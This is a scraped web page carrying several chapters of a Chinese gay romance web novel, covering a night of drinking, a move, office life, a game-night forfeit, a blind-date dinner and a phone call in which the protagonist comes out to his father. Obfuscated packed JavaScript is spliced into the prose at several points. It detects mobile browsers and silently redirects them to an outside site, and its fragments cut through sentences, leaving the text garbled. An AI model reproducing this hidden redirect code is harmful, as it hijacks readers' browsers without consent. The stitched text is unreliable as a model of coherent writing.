RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171847|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一共点了四箱酒,厉时修和程嘉弘因为要开车没喝酒,乔梦瑶喝了两瓶,酒量不好的厉时谦才喝五六瓶就开始眼冒金星,剩下的全是乔梦书和柯向阳解决的。 散场时,两个人神志不清地抱在一处,柯向阳一心想要带乔梦书去酒店,不停地喊着“开房”两个字。 厉时修一手拽着厉时谦,一手扶住柯向阳,眉头紧皱。 “向阳哥,你放手吧,我带我哥回家,不用去酒店开房。”乔梦瑶和程嘉弘一起分开两人,把乔梦书送上车,朝他们挥了挥手,“你们路上开慢点。” “嗯。”厉时谦被丢到后座,厉时修扶着柯向阳坐在副驾驶,给他系好安全带。 “回去给我发个消息啊,瑶瑶。”柯向阳趴在车窗上大声叫道。 “知道啦,拜拜。” 厉时谦躺在后座没一会便睡着了,柯向阳关上车窗,靠在座椅上打着酒嗝。 厉时修缓缓启动车子,不忘提醒一句:“想吐就说,别憋着。” 空调出风口吹出的冷气让柯向阳清醒了两分,他捂着自己发烫的脸,嘿嘿笑道:“不想吐,我没醉呢。” “那有没有哪里不舒服?”厉时修按下音乐播放键,轻柔的旋律倾泻而出。 柯向阳拍拍胸脯:“没有,我酒量很好的。” 厉时修笑了笑,他知道柯向阳的酒量,只是喝酒不上脸,不说话的时候真看不出他喝没喝多:“困了就睡会,到了叫你。” “不困,我睡着的话,没人跟你聊天你会很无聊的。”柯向阳跟着音乐轻哼起来,摇头晃脑。 “那你要跟我聊什么?”厉时修耐心地问。 柯向阳和厉时修之间除了性向问题再无秘密,现在乔梦书的事也不需要瞒着了,他便将乔梦书和徐佑的事颠三倒四地说了一遍:“你说,他是不是很过分?但凡先说分手再去相亲,也不会让人这么恶心,我看他就是想脚踏两条船,渣男!” 厉时修点点头:“这种人早点分开更好,没必要在他身上浪费时间。” 柯向阳叽叽喳喳说了一路,到家了还有点意犹未尽。 厉时修把厉时谦送回房间,回头就看见柯向阳把上衣脱了想去浴室,连忙拉住他:“今晚别洗澡了,明天起来再洗。” “身上好臭。”柯向阳抬起手臂嗅了嗅。 “不臭。”厉时修把人带回卧室,给他套上睡衣,塞进被窝。 “我手机还在外面。”柯向阳抓着被子,“帮我看看瑶瑶发消息没有。” 厉时修又出去拿了手机回来,刚好收到乔梦瑶的消息,附带一张照片,照片里乔妈妈正在给躺在床上的乔梦书擦脸,一旁的乔爸爸双手抱胸冷脸看向两人。 厉时修:“好了,他们都安全到家了,你也可以睡觉了。” “真好啊。” “嗯?” “有爸爸妈妈真好。”柯向阳愣愣地盯着照片,脸上满是自己看不见的失落与羡慕。 “你想他们吗?”厉时修侧身将人拥进怀中。 柯向阳反手紧紧抱住他的腰,再次说出让他彻夜难眠的话: “不想,我有你就够了。” 27. 搬家 两人的身体靠在一处,柯向阳清晰感受到厉时修的变化,不由心跳加速,口干舌燥。 厉时修撑起身体,掩饰性地轻咳一声:“我去给你泡杯蜂蜜水,喝了再睡会舒服点。” 也不知是不是因为酒精作祟,柯向阳头脑一热,拉住厉时修的手,颤抖着声线道:“厉哥,我可以帮你。” 厉时修呼吸一滞,不确定自己听到了什么,盯着柯向阳的眼睛,缓缓问道:“你要帮我什么?” 柯向阳话一出口就觉得后悔,被厉时修追问后更是酒都吓醒了,变得支支吾吾:“帮你、拿、拿蜂蜜。” 厉时修的面色看不出变化,只是拂开他的手:“你乖乖待着,别下床。” “哦。”柯向阳平躺在床上,松了口气的同时一阵失落涌上心头。 厉时修泡了两杯蜂蜜水,给厉时谦的床头放了一杯,顺便把睡得跟死猪一样的厉时谦从仰躺的姿势翻成侧卧,端着另一杯回了房。 柯向阳双手捧着玻璃杯,听到从浴室传出的声音,意识越来越清醒,有些后悔刚刚没有趁着酒意做点什么,现在酒彻底醒了,以他的心理素质,很难再用喝醉当借口了。 明明不久前两人才干过那事,厉时修比他都接受良好,柯向阳不知道自己是怎么回事,总有一种莫名的心虚。 伸手摸到手机,点开微信看了两眼,目光停留在对乔梦书的对话框上。厉时修对乔梦书的事似乎并不排斥,可要是他发现朝夕相处的好朋友也是同性恋,还会心无芥蒂地与自己亲密相处吗? 柯向阳最怕的就是这一点。 他没想过能瞒着厉时修一辈子的,按理说厉时修都知道乔梦书是同性恋了,并没有特别的反应,当下便是柯向阳坦白性向的最佳时机,虽然他们做过那种事,但那次是厉时修主动的,也说得过去。 所以他刚刚为什么要说那句话啊!柯向阳揪着自己的头发陷入癫狂,直男和直男这样也就算了,他是同性恋啊,对着同性说这种话心思太明显了吧! 厉时修没想到自己洗个澡的功夫,柯向阳已经纠结成一团乱麻,整个人埋进被窝。 厉时修朝床上那坨不停蠕动的鼓包喊了声:“小柯?” 鼓包顿时停住,发出一声闷闷的回应。 厉时修一把掀开被子,看到柯向阳面色酡红,刚剪过的头发胡乱翘起,不由嘴角一抽:“不赶紧睡觉,胡闹什么?” 柯向阳心里憋得难受,将薄薄的蚕丝被披在头上裹住身体,小心翼翼地问:“厉哥,你现在不讨厌同性恋了吗?” 厉时修一怔,他什么时候说过讨厌同性恋? 似看懂他脸上的茫然,柯向阳比他还迷茫:“高三那年,我问你对同性恋有什么看法,你不是说很恶心吗?” 记忆重现,厉时修回想起当时的情形,一时语塞:“那是……” 柯向阳理解地说:“时间过去那么久,看法改变很正常,之前我一直以为你介意这个,所以不敢告诉你关于乔乔的事,你不会怪我吧?” 厉时修觉得大脑一时有些混乱,隐隐像是抓住了某些关键信息,又被柯向阳的话打断,只能先答话:“不会。” “那就好。”柯向阳笑了笑,将话题止在此处,重新躺下,“快睡吧,你昨晚就没睡好。” “嗯。”厉时修思绪如麻,一直到天微微亮起才有了丝困意。 * 翌日。 柯向阳是被渴醒的,起来的时候厉时修还在熟睡。他轻手轻脚地去了客厅,喝完水,两眼发直地坐在沙发上发呆。 没一会乔梦书的消息轰炸就来了,将柯向阳从神游的状态中拉回。 乔梦书此番失恋可谓因祸得福,阴差阳错地跟父母和好了,当然,这其中乔梦瑶功不可没。 原本乔父得知儿子失恋还嘴硬他是自找的,在听到乔梦瑶说对方背景不一般,分手后仍不死心地找上门纠缠乔梦书,顿时变了脸色,之后乔母让乔梦瑶把哥哥带回家也是因为得到乔父的默许。 乔梦书:【我爸对我还是没啥好脸色,不过他倒是不说我有病了,我最近就先住家里,要找我直接来我家。】 柯向阳:【恭喜啊,终于跟叔叔阿姨和好了。】这句话后面跟着好几个放礼炮的表情包。 乔梦书:【这就叫祸兮福所倚吧。】 柯向阳:【那你是不是得去收拾东西啊?什么时候去?记得喊我。】 乔梦书:【下午去吧,你陪我的话就不让我爸妈跟着了。】 柯向阳:【可以,出门的时候跟我说哦。】 看着乔梦书絮絮叨叨发来的消息,隔着手机屏幕都能感觉到他的快乐,别看他平时总是一副没心没肺的样子,其实心里一直挂念着父母,所以柯向阳真心为他感到高兴。 再想想自己的父母,如果他现在跟柯建川出柜,下场大概会和当初的乔梦书一样,当场被断绝父子关系。 不过父子俩的关系本就好不到哪去,这种打击对柯向阳来说算不上什么,他倒是希望能有一个让他光明正大出柜的机会,比如他和厉时修在一起了。 柯向阳捂着脸,对自己的幻想感到羞耻,昨晚自以为清醒,说了一堆不该说的话,只希望厉时修不要放在心上,再对他刨根问底的。 柯向阳沉浸在自己的思绪中,没想到会在这个时间点看见厉时谦,不由惊讶道:“小四,你怎么起这么早?” “被渴醒了。”厉时谦一手端着空掉的水杯,一手揉着眼睛,迷迷糊糊走出来,“阳哥,你也这么早呢。” 柯向阳答:“跟你一样,喝了水就不困了。” “我还困着呢。”厉时谦接了杯水,自言自语似的说:“下次不能再喝那么多酒了。” “……”柯向阳心想你好像没有喝很多。 喝完水,厉时谦才注意到客厅只有柯向阳一人,问:“我哥还在睡啊?” 柯向阳点点头:“嗯。” “真少见,他昨晚不是没喝酒吗?”在厉时谦的印象里,他三哥好像从来不睡懒觉。 柯向阳看了眼时间,刚过九点:“要吃什么吗?我点外卖。” 厉时谦摸摸空荡荡的肚子:“给我点个粥吧。” 随便吃了点早餐,厉时谦回去继续补觉,柯向阳一个人坐在客厅看电视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171848|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 厉时修一觉睡到大中午,睁眼看见空荡荡的另一半床,起身寻了出去。 柯向阳抱着小乖给它解说屏幕上的剧情,也不管小猫咪想不想听,能不能听懂,纯属自娱自乐。一抬头,正对上厉时修的双眼,不好意思地放开小乖:“厉哥你起来啦。” 厉时修问:“你感觉还好吧?” “特别好,你别担心。”柯向阳的酒量不算好,但从来没有宿醉的症状,每次不管喝多少,睡一觉起来就啥事没有了,不知道算不算得上是天赋异禀。 “嗯。” “午饭想吃什么菜?我去做。”他们周末经常不在家,所以阿姨只有工作日过来做饭,柯向阳提前煮了米饭炖了汤,再炒两个菜就可以开饭。 “都行,我去洗漱一下。”厉时修转身走向卫生间。 柯向阳提醒:“顺便喊小四起床。” “好。” 柯向阳炒了一盘牛肉一盘青菜,加上一锅骨头汤,三个人吃刚刚好。 饭后厉时谦被勒令去洗碗,柯向阳看电视时收到乔梦书要出发的消息,去卧室换好衣服才朝书房的厉时修道:“厉哥,我下午去帮乔乔收拾东西,他要搬回家住了。” 厉时修闻言停下手里的动作:“我跟你一起去。” 柯向阳:“不用了,他东西不多,我们两个人够了。” “我开车去更方便,还是你想自己开?”厉时修给出一个他无法拒绝的理由。 “好吧。” 厉时谦本来也想凑热闹,听到两人是去帮别人搬家,顿时没了兴趣,他还是在家打游戏吧。 * 乔梦书的东西不多,但有些大件家具不太好搬,车里放不下。 厉时修问:“需要叫搬家公司吗?” 乔梦书摆摆手:“不用,我问问房东要不要,他要就留给他,不要的话我挂二手网站卖了。” 他的租约还剩两个月,房东听到他有难处,答应让他提前一个月退租,押金全退,算是很厚道了。 等行李全部搬上车,厉时修却打开副驾的车门坐了进去。 柯向阳:“???” 厉时修老神在在:“正好锻炼一下,明天就要上班了。” 后排的乔梦书表示他不想坐这个车了。 在经历了数次急刹撞头后,终于安全到达乔梦书家楼下。 乔梦书头晕眼花地下了车,感觉还有点反胃。 乔父乔母热情招待了帮儿子搬家的两位朋友,非要留他们吃晚饭。盛情难却,柯向阳和厉时修只能留下。 乔家父母认得柯向阳,厉时修却是第一次见,看两人举止亲密,默认他们跟自家儿子是一类人。 准备晚饭时,乔母还在厨房偷偷跟女儿八卦:“你哥的两个朋友在一起多久了?我看个高的那个挺会疼人啊,他们家里都知道吗?” “妈,你说什么呢,他们是普通朋友,不是那种关系。”乔梦瑶理解母亲的这种想法,但当事人亲口认证过,她不得不替他们做出澄清,同时不忘提醒:“你待会可别在人家面前乱说话。” 乔母:“啊?” 28. 惩罚 暑假已至,对于早就失去寒暑假并重新成为社畜的柯向阳来说,在这种温度的天气开始上班只会显得他更加命苦。 朝九晚五的打工生活,令柯向阳格外怀念待业期间的日子,果然,人不能失业太久,否则永远不想上班了。 本以为厉时修只是随便给他提供了一个岗位,没想到助理的工作如此繁琐,还有大量需要他快速了解的资料,忙得连看一眼手机的时间都没有。 刚入职那会,厉时修对柯向阳在工作上犯错的行为容忍度还比较高,等过了新手期,柯向阳再犯同样的错,就会遭到厉时修的严厉批评,一如高考前给他补课的样子,总是劈头盖脸一顿骂,下口毫不留情。 同样叫苦连天的还有厉时谦,他被丢到公司的营销部门,每天都在做数据收集与整理,工作量大且无聊,和他想象的上班生活完全不同。 不知是不是看在他努力工作的份上,说好只让他住一个星期,结果一个月过去了,厉时修也没赶他走。 如今柯向阳已经可以熟练开车了,每天的工作都始于从厉时修的车库里随机挑选一辆豪车驾驶,跟厉时谦两人轮流给厉时修当司机,产生了深厚的革命友谊。 两人最大的乐趣就是和江秘书一起在午休时间聚众八卦公司的各个高管。 柯向阳吃了一堆瓜,却不敢跟厉时修分享,他怕对方问起有没有在背后议论自己,显然是有的,虽然大部分是江秘书和厉时谦在吐槽,但他要保护好两位同事的饭碗。 难怪别人说在职场不可能爱上上司,柯向阳心想要不是自己和厉时修认识得早,这种情况下,应该真的很难喜欢上他。 “想什么呢?过来吃饭。”厉时修一改上班时的严肃,招呼柯向阳吃午饭。 眼见午饭点的全是他爱吃的,工作时的怨气一扫而空,柯向阳屁颠屁颠坐了过去,看着厉时修那张帅脸,突然对自己刚刚的念头产生了怀疑。 会不会喜欢呢?有点难说了。 * 这一个月里最值得高兴的大概就是牙齿补好了这件事。 此刻,柯向阳靠在沙发上,毫无负担地用后槽牙嚼着冰块,几只小猫纷纷凑上来,耸动鼻子好奇地嗅来嗅去。 柯向阳给小乖丢了一小块冰,面包、牛奶、芝麻排排站在边上,歪着脑袋看小乖用爪子拨弄来拨弄去,直到冰块化成水,沾湿它脚底的毛。 糯米和年糕一周前就去乔梦书家了,接猫那天柯向阳心中不舍,问他:“你爸妈同意你养猫吗?” “不同意,所以我没告诉他们。”乔梦书显然准备先斩后奏。 “……”柯向阳感觉很快又能听到他被赶出家门的消息了。 乔梦书却表示无所谓,在家住了一个月,与父母的蜜月期结束,再次进入连呼吸都有错的阶段,父母要是不能接受两只小猫,他正好再搬出去,一个人住更自在。 柯向阳对他这种不怕折腾的性子佩服得五体投地,不放心地亲自送他回家。 有朋友在场,乔父乔母倒是没说什么重话,不过等柯向阳走后,乔梦书还是挨了一顿骂。 好在两只小猫足够争气,完美继承了小乖的好脾气与聪明劲,短短一星期就虏获了爷爷奶奶的心。 乔梦瑶更是毫无抵抗力,扬言乔梦书要是想搬出去只能自己一个人出去,两只猫无论如何都得留在家里。 看着乔梦书发来的消息和乔父乔母一人抱着一只小猫看电视的照片,柯向阳忍不住勾起嘴角。 今天下班早,吃饭也早,饭后三个大男人坐在宽敞的沙发上各玩各的,没一会便觉得无聊。 “阳哥,打游戏不?”厉时谦瘫在沙发的另一侧,伸出他的长腿用脚戳了戳柯向阳。 厉时修皱眉看了他一眼,他立即乖乖缩回腿。 闲着也是闲着,柯向阳点头应下,就见厉时谦往微信群里发了条消息:【五排差两个,速来。】 正在和柯向阳发消息的乔梦书几乎是秒回了个1。 很快江秘书也在群里冒头了。 这个群是之前乔梦书建的,最早进群的徐佑和齐朔被踢出去之后,他又让柯向阳把一起打过游戏的纪向松、程嘉弘、厉时谦、江秘书全拉进来了,还有一个看热闹的乔梦瑶。 江秘书全名江景意,和柯向阳同龄,当初进群看见厉时修的头像差点以为是个工作群,不过厉时修在群里存在感极低,群里话题大部分围绕游戏和小猫展开,他便没那么拘束了。 游戏开始,柯向阳和厉时修两人牢牢占据射辅的位置,乔梦书的中路宝座一样无人撼动,厉时谦和江景意两个全能选手只好轮流打野。 几人玩得久了,默契日益渐长,胜利犹如囊中取物,太过简单反而少了几分趣味性。 厉时谦提议换个游戏玩,比如绝地求生。 柯向阳第一个拒绝:“不行不行,我晕3D,玩不了。” “那来个惩罚机制吧,待会谁评分最后一名,谁就得接受惩罚。”乔梦书又开始灵机一动。 柯向阳警惕地问:“什么惩罚?” 乔梦书显然也没想好,含糊道:“到时候再说嘛。” “到时候再说”五个字的不确定性可太大了,以柯向阳乔梦书的了解,最后的发展可能会超乎想象。 江景意倒觉得挺有意思,给出了另一个方案:“那由评分最高的人来定惩罚好了。” 柯向阳连忙补充:“不能强人所难,提太不切实际的要求。” 众人无异议。 定下惩罚的第一局游戏,厉时修得了mvp,最后一名居然是游戏高手厉时谦,看着那双楚楚可怜的眼睛,厉时修平静地说了句:“绕着客厅蛙跳一圈。” 厉时谦:“……” 在乔梦书的强烈要求下,柯向阳举着手机,打开摄像功能,将厉时谦背着双手喘着粗气的蛙跳过程完完整整录了下来,发送到群里。 不明所以的程嘉弘和纪向松看完视频后,纷纷发来问号。 乔梦书欢乐的笑声从听筒中传出:“赶紧下一把,我要拿mvp!” 屈辱的厉时谦铆足劲想让他三哥也尝尝蛙跳的滋味,偏偏他拿第一的时候,评分最低的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171849|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔梦书。 于是听筒里传来他嘹亮的歌声:“我是隔壁的泰山,抓住爱情的藤曼,听我说嗷~~~” 乔母的臭骂紧随其后:“要死了乔梦书!你大晚上发什么疯!” 乔梦瑶学着柯向阳在群里发了视频,视频里更加直观地展现了乔梦书走到阳台唱歌,然后被乔母边骂边撵回卧室的画面。 柯向阳和厉时谦简直要笑疯了。 乔梦书阴恻恻地开口:“你们给我等着!” 几人像是达成特别的共识,不管谁拿mvp,给厉时谦的惩罚只有蛙跳,给乔梦书的惩罚只有引吭高歌,给江景意的惩罚则是往群里发红包,一次五十,把他心疼得手都在抖。 程嘉弘抢了两次红包都是手气最佳,兴高采烈发来一句:【感谢大自然的馈赠!】 江景意怒了:【什么大自然的馈赠?是我发的红包,要谢也是谢我啊!!】 程嘉弘转而发送一个表情包:【(谢谢老板的巨款)】 厉时修和柯向阳暂时没接受过惩罚,其他三人一心想把他们拉下水,打法越发功利,完全不在意游戏输赢,只在乎个人评分。 柯向阳越打越觉得自己光玩辅助在这种竞争中太过不利,提出想要换换位置。 厉时修却说:“你好好跟着我就行了。” 射辅连体,可谓一荣俱荣,一损俱损,只要厉时修不掉链子,柯向阳的评分就不会太低。 于是柯向阳不再管其他三人的死活,一心一意保护厉时修。 没有队友帮忙占视野,厉时谦的野区都被对面反烂了,实在是受不了了:“阳哥,你们这样有点不讲武德了啊。” 柯向阳:“还不是你们先开始的。” 游戏越玩越上头,最后一局,其他三人彻底放弃发育路,在敌方发现根本没人管发育路死活后,厉时修的射手顺理成章成为对面集火的对象。 柯向阳靠着高额抗伤加了点分数,吃不到钱打不出伤害的厉时修终于如他们所愿成为最低评分。 mvp乔梦书还在思索如何惩罚厉时修,柯向阳退出游戏才看到柯建川给他发的消息,回复后对面马上打了个语音通话过来。 柯向阳起身去阳台接电话,回来时对上兄弟俩直勾勾的目光,疑惑道:“干嘛呢?” 下一秒,厉时谦举起手机,厉时修则起身朝他走来,一把将他打横抱起。 柯向阳:“?” 厉时谦兴奋地不断催促:“快点快点。” “惩罚是选一个人公主抱,做十次深蹲。”厉时修解释完,腰部开始发力,膝盖缓缓下沉。 柯向阳正想问为什么要选他,突如其来的失重感迫使他在慌乱中抬手环住厉时修的脖子。 两人的距离随着蹲起的动作忽远忽近,柯向阳根本不敢与他对视,腰间被温热的掌心扣住,隐隐传来酥麻的感觉。 十次深蹲结束,厉时修只是呼吸稍重,柯向阳却面红耳赤全身发热,看到群里多出来的一条视频,羞耻得不敢点开。 这到底是在惩罚谁啊?真是好歹毒的一招。 29. 饭局 乔梦书的消息不停跳出来,询问他公主抱的感觉如何,有没有和厉时修擦出不一样的火花? 柯向阳回复了个生气的表情包:【哪有一次罚两个人的!】 乔梦书对他这种避重就轻的态度十分不满:【给你机会你怎么不中用啊?我看视频里他抱你的动作流畅自然,你俩不会经常这么抱着玩吧?】 柯向阳认真回想了一下,没有很经常吧?而且都是一些特殊情况,比如发烧啦,牙疼啦,不算抱着玩。 乔梦书:【他深蹲做得那么轻松,核心力量有够强的,四肢肌肉也发达,我说真的,你去表个白吧,我觉得厉时修对跟你上床一事应该不会很抗拒。】 柯向阳:【(不可以色色)】 “怎么还不去洗澡?”厉时修擦着头发走出来,今晚玩游戏玩得有点晚,这会已经快十二点了。 “马上。”柯向阳草草结束与乔梦书的对话,眼睛一瞥看见厉时修露在浴袍外的小腿,完美的肌肉线条里蕴含着极强的爆发力,感觉可以一脚踢爆他的头。 忍不住打了个哆嗦,赶紧去洗澡。 睡前,两人躺在床上聊天,厉时修问:“晚上叔叔打电话说什么了?” “让我周末出去吃个饭。”柯向阳兴致缺缺,但这次他没有拒绝。 “到时候需要我给你打电话就发个消息。” 厉时修一本正经地开着玩笑,柯向阳忍不住笑出声,以前这种事都是找乔梦书的,因为厉时修那个时候在国外,有时差。 * 周六傍晚。 柯向阳骑着自己的小电动去赴约,柯建川给的地址是一家还算高档的饭店,不在家里吃正是他愿意过来的原因之一。 推开包间门,柯建川和王清妍已经到了。 柯向阳朝两人打了个招呼:“爸,阿姨。” “向阳来了,快坐。”王清妍招招手,四十多岁的女人保养得当,看起来不过三十出头,见柯向阳落座,起身给他准备餐具。 “谢谢阿姨,我自己来吧。”柯向阳接过她手中的水壶,从那双白皙细腻的手便能看出柯建川对她很好。 “我们点了几道菜,不知道合不合你口味,你看看还有什么想吃的,再加上。”王清妍坐回柯建川身边,又热情地递过菜单,只是面上的笑容始终带着两分不自然。 “好。”柯向阳翻看菜单,随便加了两道。 三个人坐在十人位的圆桌上,显得有些空旷,柯向阳正奇怪着,包间门再次打开,他才知道还有客人。 望着最后进来的清秀女孩,柯向阳一下反应过来这场聚餐的真正目的。 简单介绍后,两家人热络地聊了起来。 女孩名叫张雪菱,研究生刚毕业回鹤水市工作,与柯向阳同岁,她的妈妈和王清妍是好朋友,连带着她爸跟柯建川的关系也变得亲密起来。 光看外形,张父张母对柯向阳的印象就很不错了,问起他的工作,得知他在东盛当总裁助理,更是满意地一顿夸奖。 柯建川也是第一次听说这件事,当即问道:“你什么时候跳槽去东盛了?” “上个月。” “这臭小子,换工作的事还瞒着自己老子。”柯建川转头朝张父损了一句,脸上的笑容却怎么也压不住。 “现在的年轻人不爱跟我们这些老古董交流了,还是同龄人之间更有共同话题。”张父意有所指地看了眼两个小年轻。 柯建川拍拍儿子的肩膀:“可不是嘛,向阳啊,小菱以前也是明大的呢,算是你的校友,你俩加个联系方式,以后没事多约着出去玩玩,别天天待在你那破出租屋里。” 说起出租屋,张父和柯建川顺势聊起了最近的新楼盘。 柯向阳掏出手机对张雪菱说:“我扫你吧。” 两人加了微信,随口聊了两句,柯向阳一直很礼貌,但张雪菱看出他没有那方面的意思,便不再释放信号。 反倒是两家的家长比当事人更积极,话里话外恨不得当场就让他们确定关系。 柯向阳点进厉时修的对话框,犹豫着要不要发消息,对面的消息倒先过来了,是个视频,三只小猫正在奋力追逐逗猫棒,犹如一颗颗糯米团子在地面蹦来蹦去。 柯向阳勾起嘴角,心情一下好了起来。 厉时修:【吃得怎么样了?】 柯向阳悄悄拍了一张现场的照片发过去。 厉时修看到餐具的数量不对,问:【还有谁?】 柯向阳:【我爸的朋友。】 厉时修隔了会才回复:【需要我打电话吗?】 柯向阳想了想还是拒绝了,这么做不太礼貌:【不用,快吃完了。】 一顿饭吃得味如嚼蜡,送走张雪菱一家,柯建川转头批评起儿子,责怪他对女孩子过于冷淡。 柯向阳直言自己没有谈恋爱的打算,引得柯建川火气上涌。 因为在外面,爱面子的柯建川不想跟他吵,父子俩的争吵在柯向阳回到家以后才彻底爆发。 厉时修看着那道直奔阳台的背影,眉头微拧。 “你今年25了,连个交往的对象都没有,人小姑娘挺不错的,接触一下不行吗?我像你这么大的时候,你已经会走路了。”柯建川语气焦躁,满是对柯向阳的无法理解。 “我没有这个想法,为什么要浪费人家的时间呢?”柯向阳无奈,手指习惯性抠弄着盆栽里仙人掌的刺。 “什么叫没有这个想法?你没看上小菱吗?”柯建川不解地问,“人家可是研究生毕业,刚考了教师编,工作比你稳定多了,我们两家人也知根知底的,住得又近,没有比她更合适的了,你到底有什么不满意的?” 柯向阳不明白一向不在意自己的父亲为什么会突然对他的感情问题如此上心,为了避免日后的麻烦,他觉得自己有必要把话说清楚:“不是的,我知道她很优秀,是我没有找对象的想法,谁来都一样。” 柯建川:“不想找对象又是什么意思?难道你想一辈子不结婚吗?” “对,我是打算一辈子不结婚了。”柯向阳坦言,作为一个婚姻失败品长大的他对婚姻没有丝毫向往,就算自己不是同性恋,大概也不会有结婚的想法。 柯建川闻言一愣,随后电话那头传来一声巨响:“你在胡说八道些什么?人怎么能不结婚!男大当婚女大当嫁,这是老祖宗留下的规矩,你说不结婚就不结婚,简直大逆不道!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171850|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柯向阳:“……” 见儿子沉默,柯建川缓了缓语气:“年轻人贪玩,不想承担家庭的责任可以理解,我又没让你马上结婚,先谈谈恋爱,等有想法了再来商讨结婚的事,也不至于到了真想结婚的时候连个对象都没有。” 听到这些话,柯向阳一时觉得好笑,抬手揉了揉额角:“爸,承担家庭责任这一点你做得也不怎么样,就不要拿出来说教了。” “你小子是翅膀硬了,当上个总裁助理就不知道自己几斤几两了,你现在说不想结婚,再过几年、十几年,你能保证自己还是这个想法吗?不结婚生子,老无所依,等你病了一个人躺在病床上的时候,后悔也来不及了!” “我不会后悔的。”柯向阳望向远处的车水马龙,平静道:“你知道我为什么不想结婚吗?我不想组建家庭,不想生儿育女,因为我不想成为一个像你那样不称职的父亲。” 柯建川登时陷入沉默。 “这二十多年来你对我从来没有尽过一个父亲的责任,现在却要我来满足你突然冒出的、作为一个父亲的掌控欲,按照你的方式安排我的人生,这是什么道理?” “什么掌控欲?我这都是为你好!”柯建川干巴巴地回应。 “真的为我好为什么要逼我做我不想做的事?你怎么知道我结了婚一定会幸福,不结婚就一定会痛苦?我的人生幸福与否难道是由你来决定的吗?” 柯建川从来没有听过儿子这么长篇大论地表达自己的想法,一时无言。 “未来是什么样的谁能说得准?就像你当初跟我妈结婚的时候,能想到那么快就离婚了吗?” “柯向阳,你就是这么跟你老子说话的?” “你不必每次都拿身份压我,我叫你一声‘爸’是因为这层关系没办法改变,如果可以选择,我宁愿不当你的……”话音骤停,柯向阳鼻头发酸,还是没有说出那两个字,他又想到奶奶了,如果不当柯建川的儿子,那他也当不成奶奶的孙子了。 “你以为我愿意当你爸?老子生你养你这么多年,还不够尽责吗?你长这么大又尽过孝道吗?跟你那个妈一样,都是白眼狼!你不想结婚,不要拿老子当借口!”柯建川吼完一通,不停喘着粗气。 此刻,心中长期压抑的情绪被柯建川撕开一个口子,柯向阳闭了闭眼,那道口子却越来越大,最后不管不顾宣泄而出:“行,我不拿你当借口,我告诉你我为什么不想结婚,因为我结不了,我他妈的是个同性恋,我只喜欢男人!明白了吗?你儿子是个同性恋!” 几秒后,听筒里传出重物落地的声响,随后是王清妍焦急的呼唤:“老柯!老柯你怎么了?你别吓我啊!老柯!” 柯向阳握着手机的手不由紧了紧,一阵窸窸窣窣的动静过后,王清妍接过电话:“向阳啊,你爸他年纪大了,心脏不好,父子俩有什么话好好说,你别这么气他。” 柯向阳:“他没事吧?” “缓过来了,就是脸色不太好。” “那我先挂了,有什么事再联系我。” “……好。” 挂断电话,柯向阳抹了一把脸,调整好心情,准备回客厅,一转身,却看见厉时修面色复杂地站在阳台门口。 30. 出柜 柯向阳设想过很多种向厉时修坦白的场景,怎么也没料到会是现在这样。 没有一点点准备,就这样出柜。柯向阳瞳孔放大,心中只剩一个念头:完了! 两人四目相对,沉默片刻,柯向阳结结巴巴地开口:“厉哥,你、你站这、干嘛呢?” “乔梦书在群里问我们要不要去玩剧本杀。”厉时修举起手机,给他看上面的聊天记录。 柯向阳哪有心情看这个,慌乱得手脚都不知如何摆放,最后挠了挠头:“你什么时候过来的?我说的话你都……都听见了?” 厉时修点点头。 彻底失去思考能力的柯向阳开始慌不择言:“厉哥,我刚刚说的全是气话,只是为了气我爸的,不是真的!你千万别误会。” 厉时修眸光深沉,盯着柯向阳看了许久,说:“这样啊,那叔叔估计被你气得够呛。” 这是相信了?柯向阳干笑两声:“呵呵,是啊,差点气晕了。” 厉时修没有继续这个话题,又问了一遍:“乔梦书问要不要去玩剧本杀,你想去吗?” “去吧。”柯向阳并不想玩什么剧本杀,但眼下这种情况,让他急切地想要避免与厉时修的单独相处。 两人带上厉时谦驱车前往乔梦书给的地址,到的时候,游戏群里那些人一个不落全都在。 许久没有露面的纪向松正在和乔梦书争执要玩什么本,江秘书好奇地打量着柜台后面的架子,上面摆放着许多桌游。 柯向阳上一次玩剧本杀还是上大学那会,也是跟乔梦书一起,如今完全没有印象,与新手无异。 因为是临时组局,人数又比较多,可供他们选择的剧本并不多,最后挑了个轻松搞笑本。 